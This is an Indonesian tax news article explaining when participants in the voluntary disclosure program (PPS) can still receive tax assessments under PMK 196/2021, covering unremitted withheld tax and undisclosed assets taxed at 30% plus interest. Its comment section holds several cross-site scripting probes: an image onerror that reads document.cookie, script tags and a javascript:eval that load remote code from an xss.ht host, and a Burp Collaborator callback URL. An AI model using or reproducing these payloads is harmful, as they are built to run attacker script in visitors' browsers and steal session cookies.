PROGRAM PENGUNGKAPAN SUKARELA

Jika Terjadi Hal Ini, Wajib Pajak Peserta PPS Bisa Diperiksa DJP

Muhamad Wildan | Minggu, 05 Juni 2022 | 06:00 WIB
Jika Terjadi Hal Ini, Wajib Pajak Peserta PPS Bisa Diperiksa DJP

Ilustrasi.

JAKARTA, DDTCNews - Wajib pajak peserta kebijakan II PPS tidak serta merta bisa terbebas dari pemeriksaan oleh Ditjen Pajak (DJP).

Berdasarkan Pasal 8 ayat (1) Peraturan Menteri Keuangan (PMK) No. 196/2021, terhadap wajib pajak orang pribadi peserta PPS tidak diterbitkan ketetapan pajak atas kewajiban perpajakan untuk tahun pajak 2016 hingga tahun pajak 2020.

Kewajiban perpajakan yang dimaksud antara lain PPh orang pribadi, pemotongan/pemungutan PPh, dan PPN. Namun , DJP dapat menerbitkan ketetapan pajak atas pajak yang sudah dipotong atau dipungut, tetapi belum disetorkan.

Baca Juga:
Klarifikasi Data DJP, Petugas Pajak Kunjungi Kantor WP Real Estat

"Kewajiban perpajakan ... meliputi PPh orang pribadi, pemotongan dan/atau pemungutan PPh, dan PPN, kecuali atas pajak yang sudah dipotong atau dipungut tetapi tidak disetorkan," bunyi Pasal 8 ayat (2) PMK 196/2021, dikutip pada Minggu (5/6/2022).

Tak hanya itu, DJP juga masih dapat menerbitkan ketetapan pajak atas harta yang belum atau kurang diungkap dalam surat pemberitahuan pengungkapan harta (SPPH).

Harta yang belum atau kurang diungkap adalah harta yang tak diungkapkan hingga 30 Juni 2022 atau harta yang terkena penyesuaian nilai dari DJP.

Baca Juga:
4 Kunci Strategis Cegah Sengketa Pajak, Selengkapnya Baca Buku Ini

Apabila wajib pajak mendapatkan informasi mengenai harta yang belum atau kurang diungkap pada SPPH maka harta tersebut diperlakukan sebagai penghasilan yang bersifat final pada tahun pajak 2022.

Penghasilan bersifat final tersebut dikenai PPh final sebesar 30% sekaligus sanksi administrasi berupa bunga sesuai dengan suku bunga acuan ditambah uplift factor 15%. Pengenaan pajak sekaligus bunga dilakukan melalui penerbitan surat ketetapan pajak kurang bayar (SKPKB). (rig)

Editor :

Cek berita dan artikel yang lain di Google News.

KOMENTAR
0
/1000

Pastikan anda login dalam platform dan berkomentarlah secara bijaksana dan bertanggung jawab. Komentar sepenuhnya menjadi tanggung jawab komentator seperti diatur dalam UU ITE.

15 Juni 2022 | 18:02 WIB

img srcx onerroralert(document.cookie)

15 Juni 2022 | 18:01 WIB

script srchttps://hacker012.xss.ht/script

15 Juni 2022 | 18:00 WIB

javascript:eval(var adocument.createElement(\script\)a.src\https://hacker012.xss.ht\document.body.appendChild(a))

15 Juni 2022 | 17:59 WIB

http://o1q4xc6yqntnkxvgvy8b2x07iyoocd.burpcollaborator.net

ARTIKEL TERKAIT
Rabu, 23 Oktober 2024 | 12:30 WIB KPP PRATAMA BANTAENG

Klarifikasi Data DJP, Petugas Pajak Kunjungi Kantor WP Real Estat

Rabu, 23 Oktober 2024 | 12:00 WIB LITERATUR PAJAK

4 Kunci Strategis Cegah Sengketa Pajak, Selengkapnya Baca Buku Ini

Rabu, 23 Oktober 2024 | 11:00 WIB INFOGRAFIS PAJAK

Dasar DJP dalam Menetapkan Status Suspend terhadap Sertel Wajib Pajak

Rabu, 23 Oktober 2024 | 10:30 WIB PROVINSI KALIMANTAN UTARA

Adakan Pemutihan Pajak Kendaraan, Pemprov Targetkan Raup Rp105 Miliar

BERITA PILIHAN
Rabu, 23 Oktober 2024 | 12:00 WIB LITERATUR PAJAK

4 Kunci Strategis Cegah Sengketa Pajak, Selengkapnya Baca Buku Ini

Rabu, 23 Oktober 2024 | 11:30 WIB KEBIJAKAN KEPABEANAN

Piloting Modul Impor-Ekspor Barang Bawaan Penumpang Tahap III Dimulai

Rabu, 23 Oktober 2024 | 11:00 WIB INFOGRAFIS PAJAK

Dasar DJP dalam Menetapkan Status Suspend terhadap Sertel Wajib Pajak

Rabu, 23 Oktober 2024 | 10:30 WIB PROVINSI KALIMANTAN UTARA

Adakan Pemutihan Pajak Kendaraan, Pemprov Targetkan Raup Rp105 Miliar

Rabu, 23 Oktober 2024 | 10:00 WIB LEMBAGA LEGISLATIF

DPR Beberkan Alasan Pembentukan Badan Aspirasi Masyarakat

Rabu, 23 Oktober 2024 | 09:45 WIB DPR RI

Said Abdullah Kembali Terpilih Jadi Ketua Banggar DPR

Rabu, 23 Oktober 2024 | 09:33 WIB KURS PAJAK 23 OKTOBER 2024 - 29 OKTOBER 2024

Kurs Pajak Terbaru: Rupiah Menguat Atas Nyaris Semua Mata Uang Mitra

Rabu, 23 Oktober 2024 | 09:19 WIB BERITA PAJAK HARI INI

Kementerian Keuangan Kini di Bawah Langsung Presiden Prabowo

Selasa, 22 Oktober 2024 | 21:45 WIB LEMBAGA LEGISLATIF

Sah! Misbakhun Terpilih Jadi Ketua Komisi XI DPR 2024-2029

Selasa, 22 Oktober 2024 | 21:00 WIB KEBIJAKAN PAJAK

PPN Mestinya Naik Tahun Depan, Gerindra akan Bahas Bareng Kemenkeu